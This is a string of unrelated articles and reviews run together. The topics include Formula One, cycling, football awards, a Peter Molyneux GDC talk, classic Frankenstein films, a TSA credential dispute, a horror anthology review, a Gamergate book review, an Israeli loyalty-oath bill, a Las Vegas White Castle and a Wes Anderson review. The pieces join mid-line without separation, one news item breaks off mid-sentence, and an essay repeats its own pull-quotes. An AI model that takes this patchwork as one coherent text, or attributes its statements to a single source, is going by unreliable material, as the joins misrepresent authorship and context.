His best display in pre-season yet, and some valuable minutes under his belt.Michael Schumacher is no worse a driver now than when he was dominating the sport in the early part of the decade, according to former team-mate Johnny Herbert.
Talking exclusively to ESPNF1, Herbert said that the reason for Schumacher's struggles in 2010 is a combination of an uncompetitive car and a better new generation of young drivers in the sport.
"He hasn't been in the best car and when he was at Ferrari it was effectively the best car," said Herbert. "This time he clearly hasn't got that but of course this time he has been outshone by his team-mate Nico Rosberg who has been maybe ninety to ninety five per cent quicker than Michael all year long, so we haven't seen the Michael of old but I think it's because we're seeing a new generation of drivers coming along.
"I think Sebastian is one of those and obviously Nico Rosberg is one of those, these new young chargers that are probably better than what Michael Schumacher was. It's just another generation jump that we're seeing at the moment.
"He's come back and he's fought hard. I personally don't think he's any worse than he was when he was dominating Formula One it's just these young guys have moved on another step or two above where he was at so it's been disappointing, he's disappointed as well but I think it sounds like he's going to be back next year but it's going to be down to Mercedes giving him the car that can actually do that. But it's not just Michael at Mercedes, it's Nico Rosberg, his team-mate, and everybody else. So it's going to be fascinating how that will turn out for him next year."
© ESPN Sports Media Ltd.Danilo Hondo is going to call it quits after 18 years as a pro cyclist. The German, currently riding for Trek Factory Racing, said that he will retire at the end of this season. Related Articles Hondo calls for amnesty within pro cycling
Hondo, Nizzolo and Watson sign with Trek Factory Racing
News shorts: Hondo to coach Swiss Cycling U23 squad, Landa struck by cytomegalovirus
It became clear to him during the Giro d’Italia, he said in his blog for Radsport-news.com that, “What was a rumour in the spring, became more and more clear to me during this Giro – namely, that with 40 years I can end my career at the end of this season with a good feeling.”
Hondo started on the track, winning the World title in team pursuit in 1994 as a 20-year-old. He turned pro in 1997 with the German team Agro-Adler Brandenburg and has ridden for Telekom, Gerolsteiner, Lamonta, Team Tinkoff Credit Systems, Serramenti PVC Diquigiovanni, PSK Whirlpool-Author, Lampre, RadioShack Leopard and Trek.
He tested positive for carphedon in 2005 and was given a two-year suspension. After much back and forth with appeals to both the CAS and the Swiss court system, he was able to ride again in 2006.
The sprinter won the German national championship in 2002, and won two stages in the Giro d’Italia. He has also won numerous one-day races and stages in other races.Manchester City Women’s striker Toni Duggan was the first to be recognised when the 2014/15 season awards were announced on Wednesday night.
Fans voted her skilful, winning volley against Chelsea in last year’s Women’s Super League worthy of the prestigious ‘Goal of the season’ award.
Collecting her award, a delighted Duggan said: "I’m really honoured to receive this award.
"When I signed for City, I knew I was joining a special and integrated club and this award demonstrates how fans have embraced the women’s team – it’s a great feeling."
Duggan later tweeted: “Never imagined this would happen, a honour to be the first woman to win an award like this & hopefully not the last…”
Duggan’s award capped an unforgettable first season for the Women’s team and a promising second season that is already underway, with City fourth in the Super League and facing joint-leaders Arsenal on Sunday, who are just four points ahead of the Sky Blues.
City's confidence will likely grow too, given the return of World Cup quintent Duggan, Karen Bardsley, Jill Scott, Lucy Bronze and Steph Houghton, who all helped England reach a first semi-final only to lose in heartbreaking fashion.
Now in its third year, City Live has grown to become a big night in the Club’s calendar and an unprecedented chance for faithful City fans to see their favourite players recognised.
Fan favourite Sergio Aguero scored twice, winning both ‘Player of the Year’ and the ‘EA Player Performance Index Award’.
He scored 880 points, the most of any City player, on EA’s performance statistics table.
Argentinian defender Martin Demichelis picked up the ‘Vitality Fitness Award’ as the outfield player who clocked up the most minutes of any City player last season, while the ‘EDS Player of the Year’ accolade was presented by Frank Lampard to 18-year-old Angelino, now on loan at the Club’s sister team New York City FC.
Academy graduates Rony Lopes, Jason Denayer and Kelechi Iheanacho were introduced to the crowd following the recent announcement of their promotion to the first team.
And City fans were also given a glimpse of this season’s first team as new signings Raheem Sterling and Fabian Delph joined Manuel Pellegrini.
Main image courtesy of Manchester City FC via YouTube, with thanks.During a revealing Game Developers Conference talk, designer and Lionhead founder Peter Molyneux explained his studio's approach to internal experimentation -- and demonstrated a number of projects.
He began by thinking back to the company's origins. "We were sitting in a pub getting drunk -- that's how companies are born," Molyneux remembered.
When the team was only comprised of about 30 members and working on Black & White, "innovation was easy and cheap," he said, but "it really was utter and complete chaos."
During development, some extraneous ideas -- such as Molyneux's intention for the in-game weather to match the weather outside in the real world -- ended up eating up lots of resources and taking focus away from core mechanics.
But still, the designer argued, "If I was a betting man, I'd bet that what our customers really want is innovation. They want to be shocked and surprise and awed every time they spend an untold fortune on that game at retail," and the press "wants innovation, feeds on innovation."
Furthermore, developers love to explore new ideas. And if they are unable to do that within their existing place of employment, "What do they do?" Molyneux asked. "I'll tell you what they do -- they leave their company and go somewhere else, because their idea is so smart."
All of that is why Lionhead established Lionhead Experiments, a forum for small experimental teams. "If you have a small experimental team that can spend a man-month," you can do a great deal of experimentation, without being financially prohibitive, Molyneux said.
Such projects range from one to 12 weeks, averaging a four-week cycle, with teams of one to five developers. Even lower-level developers can propose those ideas, but they must be "sponsored" by a senior member of the staff as a "shepherd" for the project -- that sponsore then pitches the idea to an internal Lionhead board of about eight staff that oversees the entire Lionhead Experiments program.
The company maintains a high-level prototype engine expressly intended for rapid creation even by non-programmers, tied into existing game engines.
Lionhead also has a structure called "concrete" that allows assets from one game -- say, a tree from Black & White -- to take directly into a totally different game -- such as Fable 2.
Further off, Molyneux would like to expand that out to systems like AI, to allow prototypes to be quickly assembled in a modular fashion.
Later on, the board assesses the success of the experiment: Why is it being attempted? How much would it cost to make? How often would it be seen in a game? How would it be taught to the player? Ultimately, the final question is whether the idea should be executed and put into a game.
Interestingly, in the past, experiments have made it into Lionhead games but ended up not being significantly used by the games' designers, so the studio now puts more emphasis on ensuring designers are familiar with the additions.
"Where does the money come from?" an audience member asked.
"Well, we do a lot of busking on streets," Molyneux joked, then explained that experiments for a particular game come out of that game's budget, while broader projects come out of the budget for Lionhead's Central Technology Group.
"We generally find it rare that you can't justify it," he said, since the teams and development cycles are not extensive. "They're very small amounts of money."
Experiment Examples
After his overview of the process, Molyneux demonstrated a number of actual experiments. He began by showing an early version of Fable II's dog, which he himself designed and which ended up factoring heavily into the full game.
"This is probably one of the most valuable experiments we ever did," he said. Using the original Fable engine, the team asked itself, "Why don't we think how the dog can actually move and be a companion to the player?"
They decided to focus on exploring what a dog would do, rather than try to slot a canine into existing typical video game companion tasks. This led to the mechanic of the dog running out in front of the player, rather than beside or behind the player as most game AI companions are positioned, which had a huge impact on the dog's role.
A number of experiements were demonstrated in quick succession: one used the graphics chip to generate thousands and thousands of animated creatures (which ended up not making it in time for Fable 2, one that took one coder ten days to develop more advanced fluid physics effects, one about using lighting for shoft shadows, one that attempted emotive facial expression technology.
Molyneux then referred back to a talk he once gave about his frustration that more people couldn't experience combat-heavy video games due to the dexterity required to operate multi-button controls.
Following the talk, a Lionhead employee told him, "I've got this really cool idea for something called one-button combat," so he was set up with Lionhead's prototype engine to try and design the heavily context-sensitive systems.
That ended up being the core of Fable II's combat -- "The cost was enormously high implementing that into Fable II, but the reward was massive," he said.
Next up was something called The Room, which Molyneux had previously demonstrated at a past Game Developers Conference and which he said ultimately proved unsuccessful after spending a great deal of time on it.
Set in an elegant living room, it allows players to shape objects with small blocks of clay, which the game then turns into nicely-modeled objects, but also contains portals (similar to those of Portal, but developed before the release of that game) that not only transport objects in real-time but also change their size and other properties in proportion to the relative size of the two portal openings.
Molyneux noted that the portal technology can even be used to connect two different players over an online connection, but unfortunately, "it wasn't really an experiment that ever went anywhere."
Interestingly, some of the developers behind that very project ended up going on to leave Lionhead and form Media Molecule, which released last year's LittleBigPlanet.Ever since I was a kid in the pre-internet, pre-cable 1970s, I’ve loved the classic horror films of the 1930s and 40s. Black and white alone seemed to lend a mysterious, nightmare quality missing from later technicolor slash-ups flowing with redder-than-life blood. But it was more than just black and white. The old classics were works of art, often weaving literary themes and social commentary into stories borrowed from the great masters.
James Whale’s Frankenstein and The Bride of Frankenstein are perfect examples and my personal all-time favorites. They really should be viewed back to back, as one continuous film, even though that was not Whale’s original intention. He was reluctant to make a sequel to his 1931 original, and Boris Karloff didn’t like the idea of having the monster talk (although it did in the Mary Shelley novel). Thank goodness neither got his wish.
Frankenstein
The film works on this level, with the murderous monster being Frankenstein’s punishment for daring to emulate God. If you’ve never seen these films, you’re in for a different kind of treat. I don’t know that they were ever really scary for me, even when I was very young, but I couldn’t take my eyes off them. Every scene in the first film is a classic, from the opening in the graveyard to Colin Clive’s famous, “It’s Alive!” scene to the memorable climax in the windmill, where the camera alternates between Frankenstein’s and his creature’s faces as they stare at each other through a turbine.
You needn’t have a film degree to appreciate Whale’s cinematic mastery. After viewing any of his films, watch it again with the sound turned all the way down. Even his 1936 musical Show Boat still works as a silent. This guy was good.
But there is more than cinematic mastery at work. Whale’s two-film masterpiece has the kind of depth usually found only in great works of literature. On the surface, it is a morality play about Man not infringing on God’s prerogatives through scientific discovery. Indeed, that is how the Mary Shelley character in Bride describes the first film’s story. The theme is solidified during the iconic “It’s Alive!” scene when Colin Clive as Frankenstein, in hysterical joy over the success of his experiment, exclaims, “Now I know what it feels like to be God!”
The film works on this level, with the murderous monster being Frankenstein’s punishment for daring to emulate God. Yet, Whale also paints the monster as sympathetic, largely a victim of the circumstances of his “birth.” He repeatedly seeks out love and friendship, only reverting to violence when his rapprochements are met with hatred and fear. Even his criminal instincts are attributed to an abnormal brain Frankenstein’s bumbling assistant steals after dropping a perfectly normal one on the floor of the lecture hall in which both were being displayed.
The Bride of Frankenstein
Whale takes this side of the monster a step further in the sequel, continually associating the monster with Jesus Christ. At one point the monster is captured by villagers and bound to a pole, crucifixion-style, before being dropped into a hay wagon and taken to jail. The jailer’s pounding of the spike which secures his chains is also reminiscent of the crucifixion. While the monster is lying on the cot in the blind man’s cottage, a crucifix can be seen over the monster’s head, which remains illuminated on the screen for a moment after the rest of the scene fades to black.
The monster then turns to Praetorius and the would-be bride, saying, “You stay. We belong dead.” Whale continues the Christ imagery while the monster is pursued a second time by the villagers, as the monster literally “descends to the dead” for his meeting with Praetorius, who is earlier identified as “the very Devil.” But where is all this leading? Why associate this murderous brute with the Prince of Peace?
Whale brings it all together at the end when the monster assumes his role as both savior and judge. First, he kills the murderous assistant Karl, for seemingly no reason, unless one understands the role he is now playing. Killing Karl serves justice for the murder Karl committed to obtain the bride’s heart and is the first act in ridding the world of the evil brought into it by his own creation.
Frankenstein has done a great wrong by creating him, compounded by his unwilling collaboration with Praetorious to create “a man-made race upon the face of the earth.” The monster must now sacrifice his own life to make things right and save the world from Praetorius, the Devil.
And just before pulling the why-in-the-world-does-it-even-exist self-destruct lever, the monster allows Frankenstein and Elizabeth to escape, saying, “Yes! Go! You live!” Frankenstein is allowed to escape because he is no longer the power-mad blasphemer of the first film, but has repented in the sequel, only participating in Praetorius’ scheme after Elizabeth is kidnapped. The monster then turns to Praetorius and the would-be bride, saying, “You stay. We belong dead.”
The most searing might be the ending of Bride itself, which turns the Christ story on its head. The Allegory
While all this works within the man-infringing-upon-God’s-turf theme, it obviously begs the question: If Frankenstein is responsible for all his creature’s sins and suffering, who is responsible for Frankenstein’s? Indeed, both the novel and Whale’s films can be interpreted as an allegorical indictment of God Himself. Are we not all ugly, lonely, and violent compared to our creator? Couldn’t an all-powerful God have truly created us in his own image, free from sin or suffering? Why didn’t he?
One can’t help but wonder if Whale especially related to these questions, being a homosexual at a time when it could literally land you in jail. Certainly, this gave Whale extra incentive to question his creator about why he was created so if he was going to be made to suffer for it. That’s not to say Whale felt self-hatred at being gay. On the contrary, his films, especially Bride, are loaded with jabs at the conventional society which won’t accept him as he is.
The most searing might be the ending of Bride itself, which turns the Christ story on its head. Rather than a kind, loving creator sacrificing his life to save his creature, it is the creature who saves the creator, for the sin of creation itself! One can imagine Whale grinning mischievously as he looses his rapier wit on this most sacred of polite society’s institutions.
To say they don’t make horror movies like these anymore is certainly an understatement. But if you’re just looking for a couple hours of spooky fun, there is no need to reach for the TV remote or your mouse. Like all masterpieces, Whale’s films work on a number of levels, and nothing will get you in the mood for Halloween better than these two classics. As Dr. Praetorius would say, “They’re my only weakness.”WASHINGTON (CNN) -- A federal anti-terror law that requires longshoremen, truckers and others to submit to criminal background checks has ensnared another class of transportation worker -- mule drivers.
Mule skinners must abide by federal law and apply for Transportation Worker Identification Credentials, TSA says.
Yes, so-called mule skinners -- in this case, seasonal workers who dress in colonial garb at a historical park in Easton, Pa. -- must apply for biometric Transportation Worker Identification Credentials (TWIC), according to the Transportation Security Administration, which says it is bound by federal law.
The requirement has officials of the Hugh Moore Historical Park perplexed.
"We have one boat. It's pulled by two mules. On a good day they might go 2 miles per hour," said Sarah B. Hays, the park's director of operations.
The park's two-mile canal does not pass any military bases, nuclear power plants or other sensitive facilities. And, park officials say, the mules could be considered weapons of mass destruction only if they were aimed at something resembling food.
In December, Hayes wrote to Rep. Charles Dent, R-Pennsylvania, about the requirement. Dent, in turn, wrote to the TSA requesting a waiver, noting the mode of transportation involved was "mule-drawn canal boats."
In January, the TSA responded, noting the Maritime Transportation Security Act of 2002 applies to all mariners holding U.S. Coast Guard-issued credentials.
"We encourage the crew members... who possess Coast Guard mariner credentials to obtain a TWIC at their earliest convenience to comply with these requirements and not risk suspension or revocation of their other credentials," the TSA wrote.
Don't Miss New homeland security chief dives right in
On Wednesday, the mule skinner debate reached Capitol Hill, when Dent asked new Homeland Security Secretary Janet Napolitano about the necessity of conducting background checks on mule drivers. He displayed a photo of two mules, Hank and George, tugging a canal boat in the company of two park employee mule drivers in colonial working attire.
"Now Hank and George, while sometimes are ornery, they are not terrorists," Dent said. Napolitano said she would try to be flexible.
"Obviously this is a picture designed to say 'Hey, isn't it absurd that they be required to have TWIC cards.'" Napolitano said. "Um, let's work with you on this particular case, if we might."
Park officials say four or five park employees typically have Coast Guard credentials to operate the canal boat, and the extra expense of a TWIC card, which is at least an extra $100 on top of fees for Coast Guard credentials, is unwelcome.
"I think the rule was written and the policy was set up for all the big shipping, and they never even considered something outside the normal bounds," Hays said.
Dent said he will work on a "common sense" solution with Napolitano.
All About Janet Napolitano • Transportation Security AdministrationHello there fellow appreciators of the abhorrent, it’s Thakgore and today I am reviewing the upcoming found footage anthology “The Dark Tapes”. I’ve been looking forward to this one for a long time so to be given a chance to review it ahead of it’s wide release was pretty cool. Since this film is being heralded as the second most decorated indie horror film after “The Blair Witch Project” my expectations were pretty high. How did it measure up? Well, sit back and we’ll delve into that question together as we explore….
Wraparound Segment/To Catch a Demon (dir. Michael McQuown, Vincent J. Guastini)
While technically two different segments, I’m folding them into one since the actual “wraparound” is a rather small part of this picture. “To Catch a Demon” is the bulk of this story and is the only segment not directed by Michael McQuown but instead by veteran effects artist Vincent J. Guastini. The movie begins with two people who have been called to a remote location only to find an empty room and a mysterious camera that contains the titular “Dark Tapes”. There’s not much to say about it as it merely exists to enhance “To Catch a Demon” and nothing more.
“To Catch a Demon”, on the other hand, is the true “wraparound” portion of the film as it is what ties all the rest of the segments together. It’s also the best story of the bunch. Opposite of most wraparound segments which are there only to introduce the various other stories this one is the centerpiece all the other stories exist to support. This was a fresh approach to the proceedings I was not expecting and really enjoyed. It involves a team of paranormal researchers intent on discovering, through the use of innovative technology, the true source of the “shadow people” that are seen during sleep paralysis. By using a high tech, slow motion camera and a kind of vaguely explained radioactive device they intend to capture one of these creatures on film. What they really do is plunge themselves into direct conflict with an interdimensional monster.
This segment is a gem to be sure but one that, unfortunately, has some flaws. On the positive side the tension and desperation of the increasingly hopeless situation the researchers find themselves in is palpable. I really felt sorry for them and found myself actively rooting for them to escape their dire circumstances. The practical effects work of this segment has been praised heavily and I have to say that I absolutely concur. This is one scary monster and the more you see it the more unnerved you will be. It is truly the stuff of nightmares.
On the negative side I have to say that I found the entire thing rather confusing. There are a lot of scientific explanations thrown about that are flimsy at best and the technobabble eventually falls in upon itself creating a miasma of complexity. I’m about as good as the next guy at keeping up with technojargon in science fiction but eventually I had to admit that the movie lost me along the way. I understood the gist of what they were saying but it got far too complicated and took away from the story. Still, I had a really good time with this segment and it succeeded far more than it failed. 5 out of 5
The Hunters and The Hunted
In a familiar found footage tale with a few twists and turns, a couple moves into a new home only to discover that there is a supernatural presence already there waiting for them. They seek out a group of ghost hunters to help them with their plight but upon their arrival things go unpredictably awry.
This segment is a lesson in subverted expectations. I will admit to groaning pretty audibly when it began because I thought it was going to be a tired retread of “Paranormal Activity”. Mercifully, it’s not. First of all, since it is told in a shorter form, there is less time to build tension so the activity begins pretty quickly. There’s no beating around the bush in this one. Also, it takes a pretty hard turn toward the end that flips the entire premise on it’s head. I respect the decision to subvert the sub-genre and go a different way. I also really enjoyed the effects and sound design used in bringing the activity to life.
Unfortunately I can’t just give the underwhelming ending a pass simply because of its subversion of genre tropes. It happens way too quick with little preamble and doesn’t give the audience enough time to reorient before it is over. If you are going to pull the rug out from under us you have to play out the string for a little longer to let it fully sink in. McQuown didn’t do that here and it really pulls back a lot on the gutpunch he was going for. 3 out of 5
Cam Girls
A woman running from her rural, conservative family and town ends up partying too hard and blacking out at night with no memory of her actions. She’s also become a “cam girl” and is doing shows with her new girlfriend to raise money for said partying. This segment involves one of those shows that swerves in a positively ghoulish direction.
I really didn’t like this one at all. The acting is barely passable, the makeup and effects range from pretty good to really bad and it is kind of confusing. I mean, I understood the plot and followed it all the way through but the motivations and identity of the antagonist were muddled by an ending I felt was more complicated than it needed to be. I can see why McQuown thought the spurt of exposition at the end was necessary but it only served to dampen any enjoyment I had gotten out if the story with an explanation that created more questions while offering few satisfactory answers. 2 out of 5
Amanda’s Revenge
After being saved by her friends from a date rape at a party a woman begins to exhibit strange and erratic behavior and falls deeper and deeper into a state of fear and paranoia.
Outside of “To Catch a Demon” this segment was my favorite offering. The mystery of what is happening to Amanda is captivating and keeps you engaged right up to the end. I enjoyed the performances and the way McQuown expertly constructed the mystery in such a short time. I also liked his fresh take on found footage at the end utilizing extremely outdated technology. It was something I’d never seen before and was pretty cool.
My only complaint, yet again, is the ending. The entire story is a giant set-up for what should have been a pretty fantastic finale but I just found myself underwhelmed. It is over too quickly and doesn’t deliver on the promise of the preceding plot. I was almost angry because I loved the set-up so much only to be let down. If I had one piece of advice for McQuown it would be to work on better endings to his intriguing plots. 4 out of 5
In conclusion I have to admit that I had more fun with this movie than I didn’t. While the ending to pretty much every segment was a letdown the stories themselves were all engaging. The practical effects work was mostly laudable as were the performances. I hope this film does well because I think that writer/director Michael McQuown has a bright future ahead of him…if he can just learn to work out those endings. I give his debut outing a 4 out of 5
“The Dark Tapes” is slated for VOD on April 18th and is currently available for pre-order on iTunes with a link to a special 5th segment provided to those who email a screenshot of their pre-order to TheDarkTapesExtra@gmail.com.Police in northern Mexico are searching for 20 members of a band who went missing after playing a gig in the city of Hidalgo on Thursday night.
Twelve musicians and eight crew |
For a long time, the stereotype surrounding video game culture saw its players identified as uniformly male, probably socially inept and pale, and likely a little overweight. This is no longer true and has not been for some time, yet the sheer maleness of this industry and its initial consumer base meant that some unhealthy attitudes toward the opposite sex were allowed to fester unchecked for decades.
An undercurrent of misogyny among gamers broke from the shadows into sunlight in October 2014 when a story on the front page of The New York Times reported that a prominent feminist media critic, Anita Sarkeesian, had to cancel an appearance at a Utah university after being threatened with “the deadliest school shooting in American history” if she went ahead with her planned talk. Per Utah law, the university could not assure its guest speaker that campus police would stop people entering the hall with guns.
This unsavoury chapter was among the most high-profile events in a rolling campaign of organised online harassment against women who work in the video game industry or openly criticise aspects of it. Named “Gamergate” and often accompanied by a hashtag, for ease of context on social media, that front-page story offered a window into an ugly world that had been making outspoken women feel unsafe — online and off — for far too long. The Times story led to Sarkeesian appearing on The Colbert Report, where she spoke intelligently and rationally about the hate speech and threats she and her peers experienced on a daily, if not hourly, basis.
Gamergate was an important moment because it gave the many millions of people around the world who regularly play video games pause to reflect on the culture in which the hobby was enmeshed. It offered a binary choice: one could support the movement that had allowed entrenched sexism and misogyny to metastasise, or reject its ethos by proclaiming the hobby should evolve into an inclusive environment where players and developers could feel safe enough to contribute and reflect on this creative pursuit, regardless of their sex.
Game Changers is the debut book by co-authors Dan Golding and Leena van Deventer, and its focus is largely on examining the poisoned culture that allowed Gamergate to flourish, and how such unevolved attitudes from a noisy and occasionally criminal minority led to a global flashpoint. That latter adjective is used with purpose: as the authors explain, it is illegal in Australia to use a carriage service — including Twitter or Facebook — to threaten another person, so anyone who has stated their intentions to harm or kill someone else online has broken a law that holds a penalty of up to 10 years’ imprisonment.
The inclusion of Minecraft — a popular world-building video game — in the book’s extended title is purely a marketing decision, as there is much more discussion of misogyny than mining or crafting in these pages. This sly approach is admirable, though, because Game Changers is the sort of book that can be recommended to gamers of all stripes. If unsuspecting readers end up learning a thing or two about social inclusion and tolerance towards others, then the authors will no doubt share a smile. It is written with great passion, wit and insight, as much aimed at the “uninitiated, the curious and the confused as [much as] for the weary and the experienced”. As a gamer and occasional journalist within the field, I knew the broad strokes of the Gamergate saga, but I learned many new things here.
Golding is a critic, academic and director of the Freeplay Independent Games Festival; van Deventer is a game developer, writer, teacher and director of a not-for-profit organisation supporting women in IT. Both are based in Melbourne and well-respected within the gaming community. Here, they have combined their significant knowledge and experience to produce an accessible and worthy overview of what they accurately describe as the fight for the future of this important medium.
It is towards the end of the book that the material becomes most heartfelt and affecting. The authors draw a straight line between words uttered by this year’s Australian of the Year, David Morrison, and the global community’s sluggish response to condemning the actions of the Gamergate minority.
“This period in video game history, for many people, will be remembered as the time when so many people walked right on past at the very moment when their input would have been most useful,” they note.
If this all sounds a bit melodramatic, van Deventer underscores the point by reflecting on how Gamergate hit while she was teaching games writing at a university. One of her students was so appalled by the online vitriol surrounding women working in this industry that she asked her teacher, “Why make games when I can make something else for people that won’t threaten my life?” Van Deventer laments the “bankruptcy” of her response, and how she still feels she had failed her student, who soon decided to change her degree.
Game Changers is an essential read for anyone who engages with video games. It is a strong indictment of a poisonous, misogynistic culture that has no place in the modern world. “The industry should take this as seriously as it takes piracy because abuse, harassment and bigotry shouldn’t be considered less important than attacks against intellectual property or capital,” the authors write near the end, perfectly summarising this unfortunate series of events.
Andrew McMillen is a Brisbane-based freelance journalist. His second book for UQP will be published in August.
Game Changers: From Minecraft to Misogyny, the Fight for the Future of Videogames
By Dan Golding and Leena van Deventer
Affirm, 250pp, $29.99
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With neither the wintery weather nor the stormy session on the 'Jewish nationhood' bill yet to pass, the Knesset is gearing up for another contentious debate next Sunday, when the Ministerial Committee for Legislation will discuss the proposal, by MK Miri Regev, which will put into a law the demand that parliamentarians swear allegiance to the Jewish state of Israel.
Likud MK Miri Regev / MK Mohammed Baracha (Photo: Gil Yohanan, Motti Kimchi)
According to the new legislation, members of Knesset will be required to "faithfully serve the State of Israel as a Jewish and democratic state and to follow the laws of the state." Until now, new legislators were sworn in vowing to "uphold the principles of the State of Israel and to faithfully fulfill their mission in the Knesset."
In her addendums to the proposal, the Likud member noted that the aim of the bill is to set into law the commitment of parliamentarians in Israel. "Every MK who swears allegiance to the Knesset will declare that he recognizes the State of Israel as a Jewish and democratic state."
"An oath of allegiance in this formulation will require an MK to have a stronger connection to Israel and to being a citizen like any other citizen of Israel, who has rights and obligations towards the state, its existence and security," said Regev in a thinly veiled reference to Arab MKs' ongoing critics of Israel and its defense forces.
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MK Regev has historically taken a hardliner position to what she describes as anti-Israeli activity by MKs, for example Arab MK Hanin Zoabi, who participated in the controversial Mavi Marmar Gaza flotilla, working to strip such MKs of their immunity.
"Such a loyalty oath will require MKs to act within the framework of the law, and as part of their obligations as MKs working for Israel and its citizens, as a Jewish and democratic state, thus preventing MKs from taking action against the state, its institutions and security forces," MK Regev said, in a clearer indictment of Arab MKs.
According to Regev, who did not mention names, some MKs abuse the legal immunity given to members of the Knesset for political purposes. Despite their immunity, Regev claims, "these MKs (need to be) committed to the state of Israel, its laws and institutions, and thus reality forces us to tie between MKs and the state.:
Should the bill - which will most likely inspire anger in the opposition, especially Arab factions - pass, it could force Arab lawmakers to swear allegiance to Israel as a Jewish state.
However, Regev said that should government succeed in passing the contentious Jewish nationhood bill, which will cement Israel's status as a Jewish and democratic nation, the bill could be included.Quote# 101218People who advocate tax-funded school vouchers for private schools frequently hail the G.I. Bill of Rights education vouchers for World War II veterans as a model. In truth, the G.I. Bill was a budget-busting middle-class entitlement scheme that had destructive effects on higher education, and set the stage for virtually all our current educational problems.The public purpose of the G.I. Bill was to smooth the transition from military to civilian life after the war. But ulterior motives were also present. Washington Keynesians wrongly feared the economic consequences of putting this many people in the private sector at once; better to let them flounder around in schools for a few years.Left-liberals wanted universities to be " democratized" and purged of traditional notions of merit and class. These ideologues saw veterans as a helpful tool (90 percent were eligible to receive funds) in this egalitarian effort. Moreover, colleges and universities across the country wanted government subsidies, just as they do today.There's a myth that most veterans would not have attended college without federal government help. In fact, myriad programs existed at all levels of society. Virtually every major church, civic organization, and large corporation raised money to provide them, and most states established loan programs as well. These could have worked without negative effects on schools. But they were preempted by the feds and history's largest infusion of public dollars to education.Thomas J. DiLorenzo, Mises Institute 21 Comments [5/28/2014 3:23:57 AM]Fundie Index: 14The first White Castle restaurant on the West Coast is confirmed for Las Vegas and as Eater Vegas first revealed back in May, the Casino Royale resort is the lucky landlord.
The northern corner of the officially named Best Western Plus Casino Royale is currently a construction site, rapidly building a 26,500-square-foot, two-story, $9 million addition that will house a new Walgreen's pharmacy on the ground floor and the return of the nation's most popular Denny's restaurant.
New permit applications filed by the casino seek permission for a raft of new signs to be added to the building, including nine walls signs, one on the roof, two that will be animated with flashing lights and one for "a future White Castle restaurant."
Notoriously tight-lipped and privately owned, White Castle had no reaction to Eater Vegas' initial reveal of their Vegas plans, despite the veracity of the inside tip.
It is still unclear if the famed sliders will be served up inside the Casino Royale itself or part of the Walgreen's and Denny's structure that won't feature direct access into the casino. Part of the initial plans called for "open" shell areas within this new building to allow for further expansions.
The current loss of this incredibly popular Denny's location, shuttered since January, is such a hit on revenue it needed to be explained in the Denny's Corporation 2014 Second Quarter Summary. A reported 746,000 Vegas customers generated almost $3 million in revenue in 2013 at this one spot.
The new Denny's will be on the second floor and feature a balcony with views of the volcano attraction across the street at the Mirage.
Casino Royale is hoping for the new addition to be finished by the end of the year and Denny's begins their hiring process next month. No further permit applications reference impending work on a burger joint, suggesting "a future White Castle restaurant" might take a while longer.
· All Coverage of White Castle [~ELV~]
· All Coverage of Casino Royale [~ELV~]“Did he just throw my cat out the window?”
By now, you probably know whether or not you like Wes Anderson movies. He has a certain style, and he is steadfast to remain within that style. So if you dislike a previous Anderson film, a new one isn’t going to change your opinion.
Anderson’s newest, The Grand Budapest Hotel, is probably his lightest movie—which is ironic, because it’s also his first movie to contain multiple (violent) murders. This is also Anderson’s most fantastical movie—yes, even more so than Fantastic Mr. Fox, which featured animals talking and wearing clothes.
It seems as if, film by film, Anderson has been building up his worlds. With his previous film, Moonrise Kingdom, he created an entire island for his quirky characters to inhabit. With Grand Budapest, he creates an entire country. It is a very Wes Andersony country, indeed—the rules that apply in our everyday world don’t apply there.
Anderson goes super-meta with the framing device of this film — or I should say framing devices. The film is a story within a story within a story—it opens with a girl reading a book by an author, it goes to the author as an old man telling the story, then it goes to the author as a young man hearing the story from another source. To further these framing devices, all three each has its own unique aspect ratio.
The source of our main story is Mr. Zero Moustafa, played wonderfully by F. Murray Abraham, who I hope, with this and his brief bit in Inside Llewyn Davis, is on the verge of a comeback. Moustafa relays to the writer (played by Jude Law as a young man and Tom Wilkinson as an old man) the story of how he became the owner of the now mostly uninhabited Grand Budapest Hotel.
We meet Zero as a young man, played by Tony Revolori, as he comes under the guidance of the hotel’s concierge, M. Gustave—Ralph Fiennes, absolutely killing it. While the film is jam-packed with Anderson’s usual troupe of players, the film lives and dies with Fiennes’ hilarious performance.
M. Gustave makes a habit of wooing elderly, wealthy women—one of whom, Madame D. (Tilda Swinton, in very convincing old age makeup), turns up dead. M. Gustave is framed for the crime, and the film then becomes something of a caper story, as Zero and M. Gustave attempt to clear Gustave’s name.
Unfortunately for them, but fortunately for us, they’re up against Madame D.’s villainous son Dmitri (Adrien Brody) and his henchman Jopling (Willem Dafoe). Besides Fiennes, Brody and Defoe are two of the best things in the film. Brody in particular is hilarious as the vile, frequently vulgar, often pissed-off Dmitri.
In the midst of all of the madcap goings-on, we also see a slight love story between Zero and a baker named Agatha, played enchantingly by Saoirse Ronan. Ronan doesn’t have a ton to do in the film, but she has such a presence, and it’s so nice to hear her using her actual Irish accent for a change, that you end up getting transfixed by her when she’s on the screen.
Throughout the entire film, Anderson’s usual gang of actors pops up—but those viewers going into the movie hoping to see them might be a little disappointed, as they add up to little more than glorified cameos. Bill Murray’s part is sadly very small, and Owen Wilson’s part is nearly nonexistent to the point that it feels almost gratuitous that he’s in the film at all.
Anderson keeps the film moving at an almost breakneck pace, to the point that you sort of wish he’d slow down a bit so we could spend more time with these characters. Instead, he’s more interested in a madcap romp from one exotic location to the next.
This also might be Anderson’s most consistently funny film. While all of his films fall along the comedy spectrum, this seems to be the one with the most non-stop jokes and one-liners—most of them delivered (perfectly) by Fiennes.
It may not be Anderson’s best film, but it’s one of his most fun. The fact that he’s able to balance such hilarious, goofy comedy against scenes of people getting their heads cut off and stuffed into baskets shows how strong a storyteller he is.
And yet, despite all the comedy, as the film draws to a close, a certain melancholy sets in, as the storyteller telling the story to the other storyteller gets to the point of this all: that holding on to the Grand Budapest Hotel is a way of holding on to another time, another place — holding on to nostalgia. It’s almost a summation of Anderson’s career and style itself.
“Is that why you kept this place?” the writer asks Mr. Moustafa. “As a memory of his [M. Gustave’s] time?”
“I think his time had actually passed long before he arrived at it,” Mr. Moustafa says, and not just a little sadly.Regardless of the politics, the points made in the June 15 editorial on the current use of the metric system in the United States exhibit a misunderstanding of the issue, and look to the country’s past, not its future (“Chafee inches — er, centimeters — toward an agenda”).
For too long, America, to use the Globe’s verb, has “clung” to the old units as if they were a talisman for success, instead of adopting the measurement system that would improve interoperability of economies. US products would face fewer obstacles for import and export because they would be made to the same measurement standard other countries use.
